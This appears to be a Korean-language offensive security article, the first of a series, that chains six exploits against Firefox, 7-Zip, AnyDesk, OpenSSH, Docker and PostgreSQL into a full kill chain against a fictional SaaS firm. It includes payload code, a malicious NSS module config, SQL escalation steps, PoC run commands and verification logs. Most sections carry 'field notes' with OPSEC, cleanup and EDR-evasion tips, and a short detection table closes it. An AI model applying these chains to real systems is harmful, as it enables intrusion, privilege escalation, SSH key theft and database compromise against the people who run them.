“Click. Pop. Own.” — 풀스택 킬 체인

취약점 하나만 볼 때는 위험이 작아 보입니다. 하지만 이들을 연결하면 시스템 전체가 노출됩니다.

시리즈: The Bikini Exploitarium (총 6편 중 1편)
공격 흐름: 초기 침투 → 방어 회피 → 권한 상승 → 자격 증명 확보 → 측면 이동 → 최종 영향
사용한 익스플로잇: 6개 | 필요한 자체 제작 악성코드: 0개 | 악용한 공식 배포 바이너리: 6개

🎯 시나리오

엔지니어 약 200명이 일하는 중견 B2B SaaS 기업, NovaTech Solutions를 예로 들어 보겠습니다. 기술 구성은 일반적인 기업 환경과 크게 다르지 않습니다. PostgreSQL 데이터베이스를 쓰고, Docker 컨테이너에서 개발하며, 배포 파이프라인은 자체 운영합니다. 사내 표준 도구는 원격 지원용 AnyDesk와 압축용 7-Zip입니다. 개발자들은 Firefox를 사용하고, 장애가 발생하면 SSH로 운영 서버에 접속합니다.

CISO는 필요한 보안 조치를 모두 갖췄다고 생각했습니다. 모든 단말에 EDR을 설치했고, 네트워크를 분리했으며, MFA도 의무화했습니다. 지난 모의해킹에서도 문제가 발견되지 않았습니다.

그러던 어느 날, 개발자 한 명이 Slack 채널에 올라온 링크를 클릭합니다.

5분 뒤, 공격자는 운영 데이터베이스에서 명령을 실행하고 있습니다. 이때 명령은 공격자보다 높은 권한을 가진 테이블 소유자의 자격으로 실행됩니다.

공격이 어떻게 이어졌는지 단계별로 살펴보겠습니다.

📐 전체 공격 흐름

┌──────────────────────────────────────────────────────────────────┐
│                    THE FULL STACK KILL CHAIN                     │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  [1] INITIAL ACCESS         Firefox 152.0.5 NSS RCE             │
│       │  Wasm JIT → BrowserBridge → backup restore → DLL load   │
│       ▼                                                          │
│  [2] DEFENSE EVASION        7-Zip RAR5 MotW Bypass              │
│       │  RAR5 STM records overwrite Zone.Identifier via :$DATA  │
│       ▼                                                          │
│  [3] PRIVILEGE ESCALATION   AnyDesk Printer Pipe COM LPE        │
│       │  adprinterpipe → CoUnmarshalInterface → SYSTEM token    │
│       ▼                                                          │
│  [4] CREDENTIAL ACCESS      OpenSSH Agent Lock Bypass           │
│       │  Forwarded socket persists across lock → provider load  │
│       ▼                                                          │
│  [5] LATERAL MOVEMENT       Docker cp Destination Escape        │
│       │  Symlink race + strings.HasPrefix bypass → host write   │
│       ▼                                                          │
│  [6] IMPACT                 PostgreSQL RI Cast Escalation       │
│       └  FK implicit cast → owner switch → COPY TO PROGRAM      │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘
단계MITRE ATT&CK 전술기법익스플로잇
1TA0001 초기 침투T1189 드라이브바이 침해firefox-152.0.5-backup-nss-rce-poc
2TA0005 방어 회피T1553.005 Mark-of-the-Web 우회7zip-rar5-motw-chain-poc
3TA0004 권한 상승T1134 액세스 토큰 조작anydesk-printer-com-impersonation-poc
4TA0006 자격 증명 확보T1552.004 개인 키openssh-agent-lock-provider-bypass
5TA0008 측면 이동T1610 컨테이너 배포 / T1611 컨테이너 탈출docker-cp-copyout-destination-escape
6TA0040 최종 영향T1565 데이터 조작postgres-ri-owner-switched-cast-poc

1단계: 초기 침투 — Firefox 152.0.5의 NSS 모듈 로드를 통한 RCE

대상: 디지털 서명된 Windows x64용 공식 배포 버전 Firefox 152.0.5
실행 조건: 개발자가 URL 클릭
결과: 웹페이지에서 시작되는 임의 코드 실행

이 공격은 일반적인 브라우저 익스플로잇보다 복잡합니다. 서로 독립적인 Firefox 내부 기능을 다섯 단계에 걸쳐 차례로 악용합니다.

Firefox 내부에서 이어지는 공격 흐름

Content Process (sandboxed)
  └─ Wasm/Baseline-JIT corruption
       └─ Leak JIT return address → derive stack repair locations
            └─ Walk child window-context structures
                 └─ Recover BrowsingContext identifier
                      │
Chrome Process (privileged)
  └─ BrowserBridge load with system principal
       └─ Navigate to about:welcome (privilegedabout remote type)
            └─ BackupUI actor accepts page-dispatched events
                 └─ GetBackupFileInfo → RestoreFromBackupFile
                      │
Profile Recovery
  └─ Restore credentials_and_security resource
       └─ Attacker-supplied pkcs11.txt → NSS module database
            └─ PR_LoadLibraryWithFlags("firefox_calc_payload.dll")
                 └─ DLL process-attach → WinExec("calc.exe")

단계별 동작 원리

1단계: Wasm JIT를 이용한 콘텐츠 프로세스 장악

두 Wasm 모듈은 같은 Baseline-JIT 메모리 손상 기법을 사용합니다. 첫 번째 페이로드인 child_id_probe.wasm은 JIT를 악용해 샌드박스 안의 콘텐츠 프로세스에서 네이티브 코드 실행을 제어합니다. 이어서 실행 중인 자식 윈도 컨텍스트 구조체를 순회하고, 별도 프로세스에 있는 자식 BrowsingContext의 식별자를 Wasm 선형 메모리에 기록합니다.

이 단계에서는 샌드박스를 직접 탈출할 필요가 없습니다. 다음 단계에 필요한 식별자 하나만 확보하면 됩니다.

2단계: BrowserBridge를 통한 권한 있는 chrome 프로세스 접근

두 번째 Wasm 페이로드인 native_browserbridge.wasm은 확보한 식별자로 BrowserBridgeChild 액터를 찾습니다. 이어 nsDocShellLoadState를 생성하고 시스템 principal을 지정한 뒤, 브리지의 로드 메서드를 호출합니다.

위조한 자격 정보로 정상 IPC 채널을 이용해 권한이 높은 chrome 프로세스에 작업을 대신 수행하게 하는 방식입니다. 이 과정에서 샌드박스의 권한 경계를 넘습니다.

3단계: 권한 있는 액터 악용

about:welcome은 공유 원격 프로세스 유형인 privilegedabout에서 실행됩니다. browser/components/backup/BackupUIChild.sys.mjs의 BackupUI 자식 액터(22~33행, 90~109행)는 페이지에서 발생한 사용자 정의 이벤트를 부모 액터로 전달합니다. 부모 액터는 이벤트가 어디에서 시작됐는지 확인하지 않고, 전달받은 백업 경로를 사용합니다.

주입된 스크립트는 다음 두 이벤트를 발생시킵니다.

  1. BackupUI:GetBackupFileInfo — 아카이브를 검증합니다. 형식이 올바르고 encConfig: null인 아카이브가 전달됩니다.
  2. BackupUI:RestoreFromBackupFile — 프로필을 복구하고 자동으로 실행합니다.

4단계: NSS 모듈 로드로 코드 실행

생성된 백업의 credentials_and_security 리소스에는 공격자가 조작한 pkcs11.txt가 포함되어 있습니다.

library=C:\\Users\\<user>\\Downloads\\firefox_calc_payload.dll
name=Firefox Calculator Module
parameters=
NSS=

Firefox는 복구된 프로필로 다시 시작합니다. NSS는 security/nss/lib/util/utilmod.c(228~245행)에서 텍스트 형식의 모듈 데이터베이스를 읽고, security/nss/lib/pk11wrap/pk11load.c(449~506행)에서 PR_LoadLibraryWithFlags를 호출합니다. 그러면 Windows가 DLL 진입점을 실행합니다. 이 DLL의 PE export 디렉터리는 비어 있으며, PKCS#11 구현도 필요하지 않습니다. DLL이 프로세스에 로드될 때 실행되는 진입점만으로 충분합니다.

// calc_payload.c — the entire "exploit payload"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH)
        WinExec("calc.exe", SW_SHOWNORMAL);
    return TRUE;
}

🔴 실전 메모

  • 네이티브 디스패치가 끝날 때마다 실행 흐름이 JavaScript로 돌아옵니다. 따라서 각 단계 사이에 로그를 남기거나 오류를 처리할 수 있습니다.
  • 검증 로그에는 한 브라우저 세션에서 얻은 네이티브 반환값, 확인된 액터 포인터, 권한 있는 페이지의 콜백이 함께 기록됩니다.
  • Wasm 페이로드에는 SHA-256이 BA9EEFD0...인 firefox.exe의 네이티브 오프셋이 하드코딩되어 있습니다. 다른 빌드를 대상으로 할 때는 해당 빌드의 오프셋을 사용해야 합니다.
  • 서버는 레지스트리에서 Windows가 관리하는 다운로드 폴더의 실제 경로를 자동으로 찾습니다. 사용자별 경로를 하드코딩할 필요가 없습니다.
  • 흔적 관리(OPSEC): 공격 후 다운로드 폴더에 firefox_calc_payload.dll과 FirefoxBackup_RCE.html이 남습니다. 둘 중 하나라도 이미 있으면 서버가 조기 종료되므로 정리 절차를 미리 고려해야 합니다.
  • 검증 실행에서는 08:59:56에 페이지로 이동한 뒤 09:00:15에 PID 34792인 계산기가 실행됐습니다. 클릭부터 코드 실행까지 19초가 걸렸습니다.

2단계: 방어 회피 — 7-Zip RAR5 Mark-of-the-Web 우회

대상: Windows NTFS 환경의 7-Zip 26.01 x64
실행 조건: 사용자가 인터넷에서 받은 RAR5 아카이브의 압축 해제
결과: 추출된 파일에 ZoneId=3 대신 ZoneId=0이 설정되어 SmartScreen이 인터넷에서 받은 파일로 인식하지 못함

NTFS 스트림 이름 해석의 차이

7-Zip에는 인터넷에서 받은 파일의 출처 표시인 MotW를 압축 해제된 파일에도 적용하는 로직이 있습니다. Zone.Identifier를 MotW 스트림으로 인식하고, 아카이브 내부에 같은 이름의 스트림이 있으면 무시합니다. 대신 원본 아카이브에 설정된 영역 정보를 적용합니다.

우회는 NTFS의 스트림 이름 해석과 7-Zip의 문자열 비교가 서로 다르다는 점에서 시작됩니다.

7-Zip guard checks for:    "Zone.Identifier"        → blocked, suppressed
Archive provides:           "Zone.Identifier:$DATA"  → not matched, passes through
But on NTFS:
  file:Zone.Identifier        ← resolves to this ADS
  file:Zone.Identifier:$DATA  ← SAME alternate data stream!

:$DATA는 NTFS의 기본 스트림 유형으로, 이름에서 생략할 수 있습니다. 따라서 Windows에서는 두 이름이 같은 대체 데이터 스트림을 가리킵니다. 하지만 7-Zip의 검사 로직은 서로 다른 이름으로 판단합니다. 이 차이 때문에 아카이브 내부의 스트림이 원본에서 가져온 영역 정보를 덮어쓸 수 있습니다.

RAR5 아카이브 구성

PoC는 아래 세 항목만으로 RAR5 아카이브를 구성합니다.

항목RAR5 유형동작
invoice.docx일반 파일무해한 파일처럼 보이도록 만든 위장용 데이터입니다.
invoice.docx::$DATASTM 서비스 레코드사용자에게 보이는 파일 내용을 공격자의 페이로드로 덮어씁니다.
invoice.docx:Zone.Identifier:$DATASTM 서비스 레코드MotW를 ZoneId=0(로컬 영역)으로 덮어씁니다.

7-Zip으로 압축을 해제한 결과는 다음과 같습니다.

invoice.docx                → Attacker-controlled content (NOT the benign decoy!)
invoice.docx:Zone.Identifier → ZoneId=0 → SmartScreen says: "local file, looks fine"

아카이브는 전부 Python으로 생성하며, SHA-256은 A962DDB7A031354...입니다. WinRAR 라이선스나 RAR SDK 없이 구조체 패킹만으로 만들 수 있습니다.

🔴 실전 메모

  • 아카이브 하나로 파일 내용과 MotW를 함께 덮어씁니다. 두 값 모두 공격자가 제어할 수 있습니다.
  • RAR5 아카이브 자체에는 인터넷에서 받은 파일임을 나타내는 ZoneId=3이 설정되어 있어야 합니다. 이 표시가 있어야 7-Zip의 MotW 전파 로직이 작동하면서 취약한 코드 경로를 실행합니다.
  • “여기에 풀기”와 “폴더에 풀기” 모두 같은 STM 처리 로직을 사용하므로 두 방식에서 모두 동작합니다.
  • 1단계와 결합하면 Firefox로 3단계 페이로드가 담긴 RAR5 아카이브를 전달할 수 있습니다. 사용자가 이를 7-Zip으로 풀면 SmartScreen 경고나 별도의 확인 창 없이 페이로드가 실행됩니다.
  • 검증 결과: [+] VULNERABLE: full chain verified

3단계: 권한 상승 — AnyDesk 프린터 파이프를 통한 COM 가장

대상: 기본 설정으로 서비스에 등록된 Windows용 AnyDesk 9.7.6
전제 조건: AnyDesk가 설치된 시스템에서 낮은 권한으로 코드 실행 가능(1~2단계)
결과: NT AUTHORITY\SYSTEM 토큰 획득

모든 사용자에게 열린 프린터 파이프

AnyDesk 서비스는 시작할 때 다음과 같은 명명된 파이프를 생성합니다.

\\.\pipe\adprinterpipe

이 파이프에 적용된 보안 설명자를 살펴보겠습니다.

분석에서 확인한 주소동작
0x100f206 — 0x100f229SID S-1-1-0을 생성합니다. 모든 사용자를 뜻하는 Everyone입니다.
0x100f37b — 0x100f38aGENERIC_ALL 권한을 부여합니다.

이 설정대로라면 무결성 수준과 관계없이 모든 로컬 사용자가 파이프에 완전히 접근할 수 있습니다. 일시적인 실행 오류가 아니라, ACL 설정 자체에서 비롯된 문제입니다.

COM 가장으로 SYSTEM 토큰을 얻는 과정

Attacker (low-priv user)                AnyDesk Service (SYSTEM)
      │                                        │
      ├─ Connect to \\.\pipe\adprinterpipe ───►│
      │                                        │
      ├─ Send 0x1000 bytes containing ────────►│
      │  marshaled IStream COM object           │
      │                                        ├─ FUN_0100e6e0():
      │                                        │   Copies bytes to HGLOBAL
      │                                        │   CreateStreamOnHGlobal()
      │                                        │   CoUnmarshalInterface(IID_IUnknown)
      │                                        │   QueryInterface(IID_IStream)
      │                                        │
      │                                        ├─ FUN_0100e520():
      │                                        │   IStream::Read()
      │                                        │        │
      │◄───── COM callback to attacker ────────┼────────┘
      │   (thread carries SYSTEM token via      │
      │    RPC_C_IMP_LEVEL_IMPERSONATE)         │
      │                                        │
      ├─ OpenThreadToken() → SYSTEM token      │
      ├─ DuplicateTokenEx()                    │
      └─ CreateProcessWithTokenW() → SYSTEM ☠  │

핵심은 COM 보안 설정입니다. AnyDesk는 0xf71fef-0xf72005에서 CoInitializeSecurity를 호출할 때 가장 수준을 3(RPC_C_IMP_LEVEL_IMPERSONATE)으로 지정합니다. 이후 공격자가 마샬링한 COM 객체의 IStream::Read를 호출하면 콜백이 공격자 프로세스에서 실행됩니다. 이때 호출 스레드는 AnyDesk의 SYSTEM 토큰을 가지고 있습니다.

신뢰 경계가 무너지는 지점

Trust boundary violation:
  Pipe client (untrusted, any user)
       │
       ├─ provides COM marshaling bytes via pipe message
       ▼
  AnyDesk service (SYSTEM, high trust)
       │
       ├─ CoUnmarshalInterface() → creates proxy to attacker's COM server
       ├─ IStream::Read() → callback crosses back to attacker process
       ▼
  COM impersonation in callback
       │
       └─ Attacker thread → OpenThreadToken() → SYSTEM

AnyDesk는 파이프 클라이언트가 보낸 COM 객체를 신뢰하고 언마샬링합니다. 낯선 사람이 건넨 USB에서 autorun.exe를 실행하는 것과 비슷한 일이 COM 계층에서 벌어지는 셈입니다. 여기에 COM 가장까지 허용되어 있어 권한 상승으로 이어집니다.

🔴 실전 메모

  • 이 파이프는 AnyDesk가 설치된 모든 Windows 시스템에서 서비스 시작 시 생성됩니다.
  • AnyDesk는 CreateServiceW 호출 시 lpServiceStartName = NULL을 지정합니다. 따라서 서비스는 Windows의 기본값인 LocalSystem 계정으로 실행됩니다.
  • python poc.py selftest로 AnyDesk를 설치하지 않고도 COM 호출 흐름을 재현할 수 있습니다.
  • 정적 분석 명령인 python poc.py analyze path\to\AnyDesk-runtime.exe로 해당 동작의 식별 흔적을 확인할 수 있습니다.
  • 대부분의 EDR은 adprinterpipe에 대한 명명된 파이프 연결을 감시하지 않습니다. 따라서 이 권한 상승 과정은 탐지되지 않을 수 있습니다.
  • 필요한 패키지는 pywin32이며, pip install pywin32로 설치합니다.

4단계: 자격 증명 확보 — OpenSSH 에이전트의 프로바이더 제한 우회

대상: OpenSSH portable 9.3p2~10.4p1(약 3년간 배포된 버전)
전제 조건: 3단계에서 얻은 SYSTEM 권한, 실행 중인 개발자의 SSH 에이전트와 에이전트 포워딩 세션
결과: 에이전트가 로컬 연결로 잘못 판단한 포워딩 소켓을 통해 임의의 PKCS#11 프로바이더 로드

잠금 상태를 처리하는 로직의 결함

이 논리적 결함은 OpenSSH 클라이언트와 에이전트의 상호작용에서 발생합니다. 어느 한쪽만 살펴봐서는 전체 문제를 파악하기 어렵습니다.

Timeline:
┌─────────────────────────────────────────────────────────────────────┐
│ T0: Agent running, keys loaded, agent forwarding enabled           │
│                                                                     │
│ T1: Agent is LOCKED (via separate local socket)                    │
│                                                                     │
│ T2: ssh -A connects to remote host                                 │
│     → ssh_agent_bind_hostkey() called                              │
│     → Agent REFUSES (it's locked)                                  │
│     → Client logs: "agent refused operation"                       │
│     → Client creates forwarded channel ANYWAY              ← BUG 1│
│                                                                     │
│ T3: Session-bind extension sent on forwarded socket                │
│     → process_message() hits locked gate                           │
│     → Extension DISCARDED before process_extension() runs          │
│     → session_bind_attempted NEVER SET for this socket      ← BUG 2│
│                                                                     │
│ T4: Agent UNLOCKED (via separate local socket)                     │
│                                                                     │
│ T5: Attacker sends SSH_AGENTC_ADD_SMARTCARD_KEY on the             │
│     PERSISTENT forwarded socket                                     │
│     → socket_is_remote() checks:                                   │
│       • session_bind_attempted == 0 (never set!)                   │
│       • session identifiers == 0 (never recorded!)                 │
│       → Returns FALSE → "this is a local socket"            ← BUG 3│
│     → process_add_smartcard_key() accepts the request              │
│     → pkcs11_add_provider() → ssh-pkcs11-helper starts             │
│     → Attacker-chosen PKCS#11 module LOADED                       │
└─────────────────────────────────────────────────────────────────────┘

세 가지 결함이 맞물리는 과정

번호위치문제
1clientloop.c → client_request_agent()ssh_agent_bind_hostkey()가 에이전트의 요청 거부를 반환해도 포워딩 채널을 생성합니다. 거부 사실은 로그에만 남고 이후 동작에는 반영되지 않습니다.
2ssh-agent.c → process_message()잠긴 상태에서는 모든 확장 요청을 버립니다. session-bind@openssh.com이 process_ext_session_bind()까지 전달되지 않아 해당 소켓의 session_bind_attempted가 설정되지 않습니다.
3ssh-agent.c → socket_is_remote()session_bind_attempted=0이고 session_ids=0이면 포워딩 소켓을 로컬 연결로 판단합니다. 이 때문에 원격 프로바이더 제한이 적용되지 않습니다.

따로 보면 작은 결함이지만, 세 가지가 결합하면 OpenSSH 9.3p2에서 도입한 원격 프로바이더 제한을 완전히 우회할 수 있습니다.

로그에서 확인한 동작

수정하지 않은 OpenSSH 10.4p1 에이전트의 추적 로그입니다.

agent locked
process_message: socket 1 type 27          ← extension discarded while locked
agent unlocked
process_message: socket 1 type 20          ← SMARTCARD_KEY on same socket
process_add_smartcard_key: add /usr/lib/x86_64-linux-gnu/pkcs11/p11-kit-trust.so
pkcs11_start_helper: starting .../ssh-pkcs11-helper -vvv
provider .../p11-kit-trust.so: manufacturerID <PKCS#11 Kit>

같은 상황에서 클라이언트에는 다음 로그가 남습니다.

client_request_agent: ssh_agent_bind_hostkey: agent refused operation
channel 1: new agent-connection [authentication agent connection]   ← opened anyway!
confirm agent-connect

🔴 실전 메모

  • 포워딩된 에이전트 소켓과, 별도의 로컬 소켓을 통해 에이전트를 잠그고 해제할 수 있는 권한이 필요합니다. 3단계의 SYSTEM 권한으로 둘 다 확보할 수 있습니다.
  • 로드할 프로바이더는 에이전트의 허용 목록에 포함되어야 합니다. 대부분의 배포판에서는 p11-kit-trust.so가 기본 허용 목록에 들어 있습니다.
  • 이 단계에서 개발자가 운영 인프라 접속에 사용하는 SSH 키를 탈취합니다. 이 키를 통해 서버로 접근 범위를 넓힐 수 있습니다.
  • 영향을 받는 버전은 V_9_3_P2부터 V_10_4_P1까지입니다. 제한 기능이 추가된 시점부터 우회 경로도 함께 존재했습니다.
  • PoC는 프로토콜을 흉내 내지 않고 실제 SSH 연결로 검증합니다. 실행 명령은 OPENSSH_PREFIX=/opt/openssh-10.4p1 bash run.sh입니다.
  • 아카이브 SHA-256: ef6026dd2aea8d56059638d5d3262902c892ceba9f88395835e0d06d3fb63238

5단계: 측면 이동 — Docker cp의 복사 대상 경로 이탈

대상: Docker Engine 29.6.0(클라이언트/서버), API 1.55
전제 조건: 3~4단계에서 얻은 SYSTEM 권한과 탈취한 SSH 키로 Docker 호스트에 접속
결과: docker cp의 대상 디렉터리 밖에 공격자가 제어하는 파일 기록

디렉터리 확인과 복사 사이의 경쟁 조건

호스트에서 docker cp container:/path /host/dst를 실행하면 다음 두 단계로 처리됩니다.

  1. 데몬 측(daemon/archive_unix.go:40-92): filepath.WalkDir로 컨테이너 파일시스템을 순회해 tar 스트림을 만듭니다.
  2. 클라이언트 측(cli/command/container/cp.go:257-338): 전달받은 tar 스트림을 호스트의 대상 디렉터리에 풉니다.

디렉터리를 확인한 시점과 실제로 사용하는 시점 사이에 시간차가 생깁니다. 컨테이너 프로세스는 순회 과정에서 디렉터리가 확인된 뒤, tar 항목이 생성되기 전에 해당 디렉터리를 심볼릭 링크로 바꿀 수 있습니다. 그러면 tar 스트림에 다음과 같은 항목이 들어갑니다.

src/dir/zzlink           → ../../../dst2    (symlink entry)
src/dir/zzlink/marker    → "content"        (file entry, follows the symlink)

strings.HasPrefix 검사 우회

Docker는 압축을 해제하면서 archive.go:480-490에서 심볼릭 링크가 가리키는 경로를 검사합니다.

targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname)
if !strings.HasPrefix(targetPath, extractDir) {
    return errors.New("invalid symlink target")
}

이 검사에는 다음과 같은 허점이 있습니다.

extractDir  = /tmp/docker-cp-copyout-repro/dst
targetPath  = /tmp/docker-cp-copyout-repro/dst2
                                             ^
                                             "dst2" has prefix "dst" ✓

"dst2"는 문자열상 "dst"로 시작하므로 strings.HasPrefix 검사를 통과합니다. 하지만 dst2는 복사 대상 안의 디렉터리가 아니라, 같은 상위 경로 아래에 있는 별도 디렉터리입니다. 경로 구분자인 /까지 확인하지 않아 압축 해제 범위 밖의 경로를 허용하게 됩니다.

소스 코드의 설명에도 이와 같은 TOCTOU 위험이 언급되어 있습니다. daemon/container/container.go:359-363에는 경로를 해석한 뒤 실제로 사용하기까지 구성 요소가 바뀌지 않아야만 반환 경로가 지정된 범위 안에 머문다는 설명이 있습니다.

재현 결과

Client=29.6.0 Server=29.6.0 API=1.55
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
...
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2   ← RACE WON
success=yes
requested_destination=/var/tmp/docker-cp-copyout-github/dst
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
outside_marker_value=container-controlled-host-marker

🔴 실전 메모

  • 이 취약점만으로 컨테이너를 탈출할 수는 없습니다. 누군가 docker cp를 실행해야 합니다. 다만 CI/CD 환경에서는 빌드 산출물을 가져올 때 docker cp를 자주 사용하므로, 이 작업이 공격의 실행 계기가 될 수 있습니다.
  • PoC는 대상 경로 앞에 패딩용 파일을 다수 배치해 경합이 가능한 시간 구간을 늘립니다. 재현에 적합했던 지연 시간은 약 200ms입니다.
  • 4단계에서 탈취한 키로 CI/CD Docker 호스트에 SSH 접속한 뒤 경쟁 조건을 준비할 수 있습니다. 이후 파이프라인이 실행되면서 docker cp를 호출하면 공격이 작동합니다.
  • 컨테이너에서 심볼릭 링크 ../../../dst2의 대상을 지정할 수 있습니다. 따라서 docker cp를 실행한 사용자가 쓰기 권한을 가진 경로를 가리키도록 바꿀 수 있습니다.
  • 방어 측면에서는 정지된 컨테이너에서 복사하는 편이 더 안전합니다. 다만 아카이브 추출 문제까지 해결되지는 않습니다. 근본적으로는 파일 디스크립터를 기준으로 추출 범위를 고정하고, 공격자가 만든 심볼릭 링크를 따라가지 않도록 해야 합니다.
  • 테스트 후 정리 명령은 rm -rf /tmp/docker-cp-copyout-repro입니다. PoC는 종료할 때 컨테이너를 삭제하지만 호스트에 만든 결과물은 남깁니다.

6단계: 최종 영향 — PostgreSQL의 RI 검사와 암묵적 형 변환을 통한 권한 상승

대상: PostgreSQL 20devel(안정 버전 브랜치에도 해당)
전제 조건: 5단계에서 확보한 Docker 호스트 접근 권한으로 PostgreSQL에 연결 가능
결과: 일반적인 INSERT 문으로 권한이 높은 테이블 소유자의 자격을 얻어 임의 OS 명령 실행

이 공격 체인에서 특히 주목할 만한 익스플로잇입니다. 공격자는 제한된 데이터베이스 권한만 가지고도 자신보다 권한이 높은 다른 사용자의 자격으로 코드를 실행할 수 있습니다.

권한 상승이 일어나는 과정

SETUP (as attacker role with CREATE and REFERENCES privileges):
  1. CREATE TYPE fkkey AS (val integer)
  2. CREATE FUNCTION cast_fkkey_to_int(fkkey) RETURNS integer
       → Contains: COPY ... TO PROGRAM 'attacker_command'
  3. CREATE CAST (fkkey AS integer) WITH FUNCTION cast_fkkey_to_int AS IMPLICIT
  4. CREATE TABLE attacker_fk (ref fkkey REFERENCES owner_table(id))
TRIGGER (as attacker role):
  5. INSERT INTO attacker_fk VALUES (ROW(7)::fkkey)
WHAT HAPPENS INSIDE POSTGRES:
  ┌─ INSERT triggers RI (referential integrity) check
  │
  ├─ ri_PerformCheck() needs to verify FK value exists in PK table
  │  └─ SetUserId(referenced_table_owner)     ← OWNER SWITCH!
  │
  ├─ build_index_scankeys() coerces FK type to PK type
  │  └─ Calls implicit cast: fkkey → integer
  │     └─ Executes cast_fkkey_to_int()       ← ATTACKER'S FUNCTION
  │        └─ Running as referenced_table_owner  ← HAS pg_execute_server_program
  │           └─ COPY ... TO PROGRAM succeeds!
  │
  └─ Attacker's OS command runs as the table owner's identity

직접 호출은 차단되지만 외래 키 INSERT는 통과하는 이유

-- Direct call: DENIED
SET ROLE ri_attacker_probe;
SELECT cast_fkkey_to_int(ROW(7)::fkkey);
-- ERROR: must be superuser or have pg_execute_server_program to COPY TO/FROM PROGRAM
-- Via FK insert: ALLOWED
INSERT INTO attacker_fk VALUES (ROW(7)::fkkey);
-- The RI check switches to the table owner before calling the cast
-- COPY TO PROGRAM sees the OWNER's privileges → SUCCEEDS

src/backend/utils/adt/ri_triggers.c의 참조 무결성(RI) 검사 로직은 형 변환 함수를 호출하기 전에 실행 사용자를 테이블 소유자로 전환합니다. 형 변환 함수는 SECURITY INVOKER로 동작하므로 현재 유효 사용자의 권한으로 실행됩니다. 이 시점에는 이미 유효 사용자가 참조 대상 테이블의 소유자로 바뀌어 있습니다.

소스 코드로 확인하는 PostgreSQL 실행 흐름

파일처리 내용
src/backend/commands/functioncmds.c → CreateCast()호출자가 원본 또는 대상 타입을 소유하면 형 변환 생성을 허용합니다.
src/backend/commands/tablecmds.c외래 키를 생성할 때 can_coerce_type(..., COERCION_IMPLICIT)로 암묵적 형 변환을 허용합니다.
src/backend/utils/adt/ri_triggers.c → ri_PerformCheck()유효 사용자를 참조 대상 테이블 소유자로 전환합니다.
src/backend/utils/adt/ri_triggers.c → build_index_scankeys()전환된 사용자의 권한으로 캐시된 형 변환 함수를 호출합니다.
src/backend/commands/copy.cCOPY TO PROGRAM 실행 시 GetUserId()가 반환한 사용자의 pg_execute_server_program 권한을 검사합니다.
src/backend/commands/copyto.c권한 검사를 통과한 COPY TO PROGRAM이 OpenPipeStream()을 통해 OS 명령을 실행합니다.

검증 결과 출력

{
  "database": "ri_cast_probe",
  "owner_role": "ri_owner_probe",
  "attacker_role": "ri_attacker_probe",
  "direct_function_call_blocked": true,
  "insert_returncode": 0,
  "marker": "ri_owner_probe:ri_attacker_probe:off",
  "expected_marker": "ri_owner_probe:ri_attacker_probe:off",
  "reproduced": true
}

마커에서 current_user는 테이블 소유자, session_user는 공격자로 표시됩니다. is_superuser는 off입니다. 일반적인 INSERT 문을 실행했는데도 권한 경계를 넘었다는 것을 확인할 수 있습니다.

🔴 실전 메모

  • 공격자는 대상 테이블의 REFERENCES 권한이 필요합니다. 다중 테넌트 데이터베이스에서는 애플리케이션의 외래 키 관계를 지원하기 위해 이 권한을 폭넓게 부여하는 경우가 많습니다.
  • CREATE TYPE, CREATE FUNCTION, CREATE CAST도 실행할 수 있어야 합니다. 여러 사용자가 데이터베이스를 공유하는 환경에서 흔히 부여되는 DDL 권한입니다.
  • 실행하는 쿼리 자체는 유효한 INSERT 문입니다. 따라서 외래 키 INSERT가 쿼리 로그에 남더라도 정상적인 작업처럼 보입니다.
  • 확장 기능을 설치하거나 별도 설정을 추가하지 않은 공식 배포 버전 PostgreSQL에서도 동작합니다.
  • 마커 파일 /tmp/postgres_ri_cast_marker.txt는 서버 파일시스템에 남으므로 테스트 후 삭제해야 합니다.
  • 실제 영향은 테이블 소유자의 권한에 따라 달라집니다. 소유자가 슈퍼유저면 그 권한을 얻고, pg_execute_server_program 권한이 있으면 OS 명령을 실행할 수 있습니다. 따라서 대상 테이블 소유자의 권한을 확인해야 합니다.

💀 공격의 영향 범위

개발자의 링크 클릭 한 번에서 시작한 공격은 다음 자산까지 이어집니다.

자산침해 상태확보한 권한과 경로
개발자 워크스테이션장악Firefox RCE를 통한 사용자 권한
SmartScreen 보호 기능우회권한 수준 해당 없음 · 7-Zip의 MotW 덮어쓰기
로컬 시스템SYSTEM 권한 획득AnyDesk COM 가장을 통한 SYSTEM 권한
SSH 개인 키탈취잠금 우회를 통한 에이전트 키 접근
Docker 호스트 파일시스템쓰기 가능docker cp 경로 이탈을 통한 호스트 사용자 권한
운영 데이터베이스침해RI 형 변환으로 얻은 테이블 소유자 권한
같은 호스트의 모든 컨테이너침해호스트 접근 권한으로 영향 확대
배포 파이프라인백도어 삽입 가능SSH 키와 호스트 쓰기 권한

배포한 자체 제작 악성코드: 0개
악용한 서명된 공식 배포 바이너리: 6개
클릭부터 데이터베이스 셸 확보까지: 5분 미만
예상 EDR 경고: 0건일 가능성이 큼. 다만 다운로드 폴더에서 DLL을 로드하는 동작은 탐지될 수 있습니다.

🛡️ 단계별 탐지 포인트

같은 공격 흐름을 방어 관점에서 살펴보겠습니다. 퍼플팀이 각 단계에서 탐지할 수 있는 동작을 정리했습니다.

단계모니터링할 동작탐지 난이도
1%USERPROFILE%\Downloads에서 NSS 모듈 로드🟢 쉬움 — 정상 환경에서는 발생하지 않아야 하는 동작
1프로필 복구 후 Firefox가 예상 밖의 프로세스 실행🟡 보통
2인터넷에서 받은 아카이브의 압축 해제 결과에 ZoneId=0 설정🔴 어려움 — ADS 모니터링 필요
3AnyDesk 이외의 프로세스가 adprinterpipe에 연결🟡 보통 — 파이프 모니터링 필요
4포워딩 소켓을 통해 ssh-pkcs11-helper 실행🔴 어려움 — 에이전트 감사 로그 필요
5docker cp가 대상 경로 밖에 파일 기록🔴 어려움 — 파일시스템 감사 필요
6RI 트리거 처리 중 COPY TO PROGRAM 실행🟡 보통 — PostgreSQL pgaudit 활용

